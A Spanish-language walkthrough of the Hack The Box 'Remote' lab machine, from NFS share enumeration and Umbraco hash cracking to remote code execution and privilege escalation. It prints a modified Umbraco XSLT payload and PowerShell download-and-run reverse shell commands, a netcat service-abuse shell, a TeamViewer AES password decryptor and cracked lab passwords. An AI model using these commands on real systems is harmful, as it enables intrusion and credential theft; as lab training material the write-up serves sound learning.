En este post voy a vulnerar la máquina Remote de Hack the Box. Es una máquina Windows, de nivel fácil, con múltiples vías para la explotación y la escalada de privilegios.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- -n --min-rate 10000 10.10.10.180

En la máquina hay un siete puertos abiertos. Escaneo los seis primeros puertos que he encontrado (ya que el 49666 es un puerto dinámico del sistema) para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p21,80,111,135,445,2049 -sC -sV 10.10.10.180 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-25 13:44 CET Nmap scan report for 10.10.10.180 Host is up (0.15s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Home - Acme Widgets 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 2049/tcp open mountd 1-3 (RPC #100005) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 14m05s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-11-25T13:00:01 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 178.41 seconds
HTTP – Puerto 80
Comienzo leyendo las cabeceras con whatweb e identifica que usa el CMS Umbraco.
whatweb -a 3 http://10.10.10.180/

Accedo a la web pero, tras navegar un poco no encuentro nada relevante.

El panel de autenticación de este CMS se hace a través de la ruta http://10.10.10.180/umbraco y me redirige automáticamente a la ventana de login.

Pruebo, sin éxito, una serie de credenciales por defecto así que continuo con otros servicios.
NFS – Puerto 2049
Al enumerar la información del puerto 111 (RCP), me indica que en el puerto 2049 está corriendo un servicio nfs. Este servicio es un gestor de accesos, similar a samba o ftp.

Listo los directorios existentes con nmap y encuentro uno llamado /site_backups.
nmap -p2049 -sV --script nfs-showmount 10.10.10.180

Este comando es similar a showmount -e.
Para trabajar cómodamente con este directorio, voy a montar un recurso compartido/partición de este directorio en mi máquina. El comando tiene la siguiente sintaxis:
- sudo: Para ejecutar el comando con permisos de root (necesario).
- mount: Es el comando que crea la montura.
- -t: Indica el sistema de archivos al que me voy a conectar.
- nfs: Indica que me voy a montar un protocolo nfs.
- //<IP>/<Carpeta Compartida>: Ubicación compartida de la red a la que voy a conectar la montura.
- /mnt/<Carpeta Local>: Carpeta local que utilizo de enlace hacia el almacenamiento externo, dentro del directorio estándar donde se establecen los puntos de montaje en los sistemas Unix (
/mnt).
sudo mkdir /mnt/remotenfs sudo mount -t nfs 10.10.10.180:/site_backups /mnt/remotenfs/

Navego por los diferentes directorios y en el directorio /App_data encuentro un fichero llamado Umbraco.sdf.

La extensión .sdf se utiliza para almacenar bases de datos en formato estructurado, por lo que no podré leerlo a simple vista. Utilizo el comando strings para leer los caracteres legibles por humanos dentro del fichero y, en las primeras líneas se muestra lo que parecen ser usuarios y hashes, entre ellos, uno de administrador.
strings Umbraco.sdf

Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
Explotación
Cojo el hash de administrador y rompo por fuerza bruta con john, obteniendo las credenciales admin@htb.local:baconandcheese.
john -w=/usr/share/wordlists/rockyou.txt adminhash --format=Raw-SHA1

Introduzco estas credenciales en el CMS y consigo entrar en el panel de administración.


Pulsando en la pestaña de ayuda (abajo a la izquierda) identifico la versión del CMS como Umbraco 7.12.4.

En este punto tengo dos formas de hacer la explotación. La primera con un RCE descargado de github y la segunda con un exploit de exploit-db.
Método 1. Cargar un RCE
Buscando por internet encuentro este RCE para esta versión de umbraco. Simplemente lo descargo, me aseguro de cumplir los requirements y lo ejecuto.
python exploit.py python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c whoami

Como se puede ver en la imagen anterior, su uso es muy sencillo y me permite ejecutar comandos en la máquina víctima, si poseo credenciales válidas.
Como puedo ejecutar comandos, voy a generar una shell reversa de powershell. Cojo el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 7897, que me dará la shell reversa por netcat.
Renombro el binario a ps.ps1, levanto un servidor http en python y ejecuto el comando.
python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a "iex(New-Object Net.Webclient).downloadstring('http://10.10.14.5:8000/ps.ps1')"

La flag de usuario la encuentro en la ruta C:\Users\Public\user.txt.

Método 2. Uso de exploit
Busco vulnerabilidades a nivel de kernel del CMS y encuentro una (que también es un RCE) y también necesita unas credenciales de autenticación válidas. Este exploit se puede ver también en exploit-db.

Echo un vistazo al código y veo que, según está escrito, si le añado un usuario, contraseña y una dirección de host, únicamente ejecutaría un comandos vacío y abriría la aplicación de la calculadora.

Vamos, me va a tocar modificar el código. En lugar de abrir la calculadora, voy a abrir una consola de comandos y voy a hacer que ejecute un comando en powershell para que me de una shell reversa (además de añadirle un usuario, contraseña y una dirección de host).
# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "/c powershell -c IEX(new-object net.webclient).downloadstring(\'http://10.10.14.5:8000/ps.ps1\')"; System.Diagnostics.Process proc = new Syste>
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";

Como puedo ejecutar comandos, voy a generar una shell reversa de powershell. Cojo el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 7897, que me dará la shell reversa por netcat.
Renombro el binario a ps.ps1, levanto un servidor http en python y ejecuto el exploit.


Escalada de Privilegios
Esta fase también se van a ver varías vías de ejecución. La primera será a través de un proceso y la segunda a través de una aplicación cuyo cifrado ha sido roto.
Método 1. Proceso UsoSvc
Hago una enumeración del sistema con PowerUp.ps1 y encuentro un servicio que puede ser un vector potencial para la escalada de privilegios.
IEX(New-Object Net.WebClient).downloadstring('http://10.10.14.5:8000/powerup.ps1')
Invoke-AllChecks

El servicio Update Orchestrator (UsoSvc) controla la descarga, instalación y verificación de actualizaciones de Windows y se ejecuta en segundo plano.
Para poder explotar este servicio, necesito hacer que un binario establezca una conexión entre la máquina victima y la atacante así que utilizo el binario de netcat /usr/share/windows-resources/binaries/nc.exe y lo subo a la máquina víctima.
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.5:8000/nc.exe','nc.exe')"
Una vez subido, simplemente ejecuto el binario a través de este servicio y consigo una shell reversa.
Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command "C:\Users\Public\Documents\nc.exe 10.10.14.5 7898 -e cmd.exe"


La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Método 2. TeamViewer
Ejecuto un tasklist para ver las aplicaciones y procesos que hay en ejecución en el sistema y veo que se está ejecutado TeamViewer.

Algunas versiones de este software son vulnerables, o utilizaban claves estáticas para cifrar/descifrar credenciales por lo que me dirijo a la ruta C:\Program Files(x86)\TeamViewer para ver la versión de este programa.

Por el nombre del fichero, deduzco que se está ejecutando la un TeamViewer 7 o la versión 7 de este software, que posee esta «vulnerabilidad».
Las contraseñas se almacenan en el registro de Windows dentro del valor SecurityPasswordAES.
reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer\Version7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7
StartMenuGroup REG_SZ TeamViewer 7
InstallationDate REG_SZ 2020-02-20
InstallationDirectory REG_SZ C:\Program Files (x86)\TeamViewer\Version7
Always_Online REG_DWORD 0x1
Security_ActivateDirectIn REG_DWORD 0x0
Version REG_SZ 7.0.43148
ClientIC REG_DWORD 0x11f25831
PK REG_BINARY BFAD2AEDB6C89AE0A0FD0501A0C5B9A5C0D957A4CC57C1884C84B6873EA03C069CF06195829821E28DFC2AAD372665339488DD1A8C85CDA8B19D0A5A2958D86476D82CA0F2128395673BA5A39F2B875B060D4D52BE75DB2B6C91EDB28E90DF7F2F3FBE6D95A07488AE934CC01DB8311176AEC7AC367AB4332ABD048DBFC2EF5E9ECC1333FC5F5B9E2A13D4F22E90EE509E5D7AF4935B8538BE4A606AB06FE8CC657930A24A71D1E30AE2188E0E0214C8F58CD2D5B43A52549F0730376DD3AE1DB66D1E0EBB0CF1CB0AA7F133148D1B5459C95A24DDEE43A76623759017F21A1BC8AFCD1F56FD0CABB340C9B99EE3828577371B7ADA9A8F967A32ADF6CF062B00026C66F8061D5CFF89A53EAE510620BC822BC6CC615D4DE093BC0CA8F5785131B75010EE5F9B6C228E650CA89697D07E51DBA40BF6FC3B2F2E30BF6F1C01F1BC2386FA226FFFA2BE25AE33FA16A2699A1124D9133F18B50F4DB6EDA2D23C2B949D6D2995229BC03507A62FCDAD55741B29084BD9B176CFAEDAAA9D48CBAF2C192A0875EC748478E51156CCDD143152125AE7D05177083F406703ED44DCACCD48400DD88A568520930BED69FCD672B15CD3646F8621BBC35391EAADBEDD04758EE8FC887BACE6D8B59F61A5783D884DBE362E2AC6EAC0671B6B5116345043257C537D27A8346530F8B7F5E0EBACE9B840E716197D4A0C3D68CFD2126E8245B01E62B4CE597AA3E2074C8AB1A4583B04DBB13F13EB54E64B850742A8E3E8C2FAC0B9B0CF28D71DD41F67C773A19D7B1A2D0A257A4D42FC6214AB870710D5E841CBAFCD05EF13B372F36BF7601F55D98ED054ED0F321AEBA5F91D390FF0E8E5815E6272BA4ABB3C85CF4A8B07851903F73317C0BC77FA12A194BB75999319222516
SK REG_BINARY F82398387864348BAD0DBB41812782B1C0ABB9DAEEF15BC5C3609B2C5652BED7A9A07EA41B3E7CB583A107D39AFFF5E06DF1A06649C07DF4F65BD89DE84289D0F2CBF6B8E92E7B2901782BE8A039F2903552C98437E47E16F75F99C07750AEED8CFC7CD859AE94EC6233B662526D977FFB95DD5EB32D88A4B8B90EC1F8D118A7C6D28F6B5691EB4F9F6E07B6FE306292377ACE83B14BF815C186B7B74FFF9469CA712C13F221460AC6F3A7C5A89FD7C79FF306CEEBEF6DE06D6301D5FD9AB797D08862B9B7D75B38FB34EF82C77C8ADC378B65D9ED77B42C1F4CB1B11E7E7FB2D78180F40C96C1328970DA0E90CDEF3D4B79E08430E546228C000996D846A8489F61FE07B9A71E7FB3C3F811BB68FDDF829A7C0535BA130F04D9C7C09B621F4F48CD85EA97EF3D79A88257D0283BF2B78C5B3D4BBA4307D2F38D3A4D56A2706EDAB80A7CE20E21099E27481C847B49F8E91E53F83356323DDB09E97F45C6D103CF04693106F63AD8A58C004FC69EF8C506C553149D038191781E539A9E4E830579BCB4AD551385D1C9E4126569DD96AE6F97A81420919EE15CF125C1216C71A2263D1BE468E4B07418DE874F9E801DA2054AD64BE1947BE9580D7F0E3C138EE554A9749C4D0B3725904A95AEBD9DACCB6E0C568BFA25EE5649C31551F268B1F2EC039173B7912D6D58AA47D01D9E1B95E3427836A14F71F26E350B908889A95120195CC4FD68E7140AA8BB20E211D15C0963110878AAB530590EE68BF68B42D8EEEB2AE3B8DEC0558032CFE22D692FF5937E1A02C1250D507BDE0F51A546FE98FCED1E7F9DBA3281F1A298D66359C7571D29B24D1456C8074BA570D4D0BA2C3696A8A9547125FFD10FBF662E597A014E0772948F6C5F9F7D0179656EAC2F0C7F
LastMACUsed REG_MULTI_SZ \0005056B946E0
MIDInitiativeGUID REG_SZ {514ed376-a4ee-4507-a28b-484604ed0ba0}
MIDVersion REG_DWORD 0x1
ClientID REG_DWORD 0x6972e4aa
CUse REG_DWORD 0x1
LastUpdateCheck REG_DWORD 0x611bbaed
UsageEnvironmentBackup REG_DWORD 0x1
SecurityPasswordAES REG_BINARY FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
MultiPwdMgmtIDs REG_MULTI_SZ admin
MultiPwdMgmtPWDs REG_MULTI_SZ 357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77
Security_PasswordStrength REG_DWORD 0x3
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7\AccessControl
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7\DefaultSettings

Como puedo ver en el código e imagen anteriores, la cadena de este valor es FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B.
El código del descifrador original ha desaparecido pero encuentro otro script que lo descifra en el repositorio de github de ColdFusionX.
import sys, hexdump, binascii
from Crypto.Cipher import AES
class AESCipher:
def __init__(self, key):
self.key = key
def decrypt(self, iv, data):
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self.cipher.decrypt(data)
key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "1512F72021D9EB2697044817A208F9C4F24B1D54B8518B1155FCEA637F2DE4D1" # output from the registry
ciphertext = binascii.unhexlify(hex_str_cipher)
raw_un = AESCipher(key).decrypt(iv, ciphertext)
print(hexdump.hexdump(raw_un))
password = raw_un.decode('utf-16')
print(password)
Simplemente guardo este script y sustituyo el valor del campo hex_str_cipher por el de la cadena que he encontrado en SecurityPasswordAES .

Una vez hecho, ejecuto el exploit y obtengo la contraseña !R3m0te!.

Como en la fase de enumeración he visto que se está ejecutando un servicio samba por el puerto 445, pruebo esta contraseña para el usuario Administrator en crackmapexec y veo que las credenciales son válidas.
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

Por último, genero una shell con psexec.py.
psexec.py 'Administrator:!R3m0te!@10.10.10.180'

